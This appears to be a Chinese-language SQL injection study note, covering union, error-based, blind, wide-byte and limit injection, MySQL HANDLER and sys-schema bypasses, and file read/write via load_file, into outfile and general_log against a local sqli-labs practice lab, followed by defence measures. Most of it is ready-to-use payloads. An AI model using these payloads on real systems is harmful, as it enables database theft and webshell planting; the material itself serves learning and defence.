SQL注入

注入流程:

1、判断注入类型:
	2-1、1的方式,判断出是数字型还是字符型
2、根据判断结果,闭合相关符号:
	1' --+
    1" #
    1' -- -
    1" %23
3、判断列数:
	1' order by 3#
4、判断回显位置:
	-1' union select 1,2#
5、获取当前数据库名称:
	-1' union select 1,database()#
6、获取所有数据库名称:
	-1' union select 1,group_concat(schema_name) from information_schema.schemata#
7、获取指定数据库下的表名:
	-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#
8、获取指定数据库下指定表的列名:
	-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'#
9、获取数据:
	-1' union select 1,group_concat(flag) from sqli.flag#

分类:

从注入参数类型分:数字型注入、字符型注入、搜索型注入

从注入方法分:基于报错、基于布尔盲注、基于时间盲注、联合查询、堆叠注入、内联查询注入、宽字节注入

从提交方式分:GET注入、POST注入、COOKIE注入、HTTP头注入

table_schema     数据库
table_name        数据表
column_name    字段
information_schema.columns 查询表

----union 注入
获取当前数据库所有表:
1 union select 1,group_concat(distinct table_name),3 from information_schema.columns where table_schema=database()#
获取字段:
1 union select 1,group_concat(distinct column_name),3 from information_schema.columns where table_name='users'#

----报错注入
@extractvalue(xml_documen,xpath_string)
' union select 1,extractvalue(1,concat(0x7e,(select version()))) #
----bool盲注
1' and (select ascii(substr((select table_name from information_schema.columns where table_schema=database() limit 0,1),1,1)))=999 #

----时间盲注:
select * from pet where age= 12 and if(1>0),sleep(2),0)

----宽字节注入;
%df'

----limit 注入:
select field from user where id=XXX order by id limit 1,1 procedure analyse (extractvalue(rand(),concat(0x3a,SQL注入代码)),1);

sql handler用法

mysql> handler info open;
mysql> handler info read first;  
+------+------+  
| name | age  |  
+------+------+  
| lisa | 27   |  
+------+------+  
1 row in set (0.00 sec)  
  
mysql> handler info read next;  
+------+------+  
| name | age  |  
+------+------+  
| tina | 25   |  
+------+------+  
1 row in set (0.00 sec)  
  
mysql> handler info read age=(25);  
+------+------+  
| name | age  |  
+------+------+  
| tina | 25   |  
+------+------+  
1 row in set (0.00 sec)  
  
mysql> handler info read age=(25) limit 2;  
+------+------+  
| name | age  |  
+------+------+  
| tina | 25   |  
| do   | 25   |  
+------+------+  
2 rows in set (0.00 sec)  
  
mysql> handler info read age=(27) limit 3;  
+-------+------+  
| name  | age  |  
+-------+------+  
| lisa  | 27   |  
| ricky | 27   |  
| lover | 27   |  
+-------+------+  
mysql> handler info close;

information_schema && 无列名绕过

MySQL5.7的新特性
由于performance_schema过于复杂,所以mysql在5.7版本中新增了sys schemma,
基础数据来自于performance_chema和information_schema两个库,
本身数据库不存储数据。
===sys.schema_auto_increment_columns--查表(含自增主键)
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+

===schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer--查表(不含自增主键)
===无列名注入:
select * from user where id = -1 union all select * from (select * from user as a join user as b)as c;

DNSlog盲注

SQL注入_第1张图片

 SQL注入_第2张图片

mysql读写文件 

1、需要条件

secure_file_priv不为null

1、限制mysqld 不允许导入 | 导出
secure_file_priv=null或secure_file_priv

2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下
secure_file_priv=/tmp/

3、不对mysqld 的导入 | 导出做限制
secure_file_priv=

具有高权限

1)读文件

load_file("D:\flag\1.txt") #文件路径需要转义一下

http://127.0.0.7/sql/sqli-labs-master/Less-1/index.php?id=-1' 
union select 1,load_file("D:\\1.txt"),3%23

2)写文件

into outfile "路径"

http://127.0.0.7/sql/sqli-labs-master/Less-7/?id=-1')) union select 1,"",3 
into outfile "D:\\phpStudy\\WWW\\sql\\sqli-labs-master\\Less-7\\1.php"%23

3)sqlmap读写

--file-read "路径"

--file-write "要写入的内容或所在文件路径" --file-dest "要写入的路径"

2、当secure_file_priv为NULL时的利用方法

set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/789.php';
select '';

防御:

1、对用户输入的特殊字符进行严格过滤,如’、”、<、>、/、*、;、+、-、&、|、(、 )、 and、or、 select.union.

2、使用参数化查询(PreparedStatement),避免将未经过滤的输入直接拼接到SQL查询语句中。

3、Web应用中用于连接数据库的用户与数据库的系统管理员用户的权限有严格的区分(如不能执行drop等),并设置Web应用中用于连接数据库的用户不允许操作其他数据库。

4、设置Web应用中用于连接数据库的用户对Web目录不允许有写权限。

5、使用Web应用防火墙。

你可能感兴趣的:(漏洞整理,sql注入)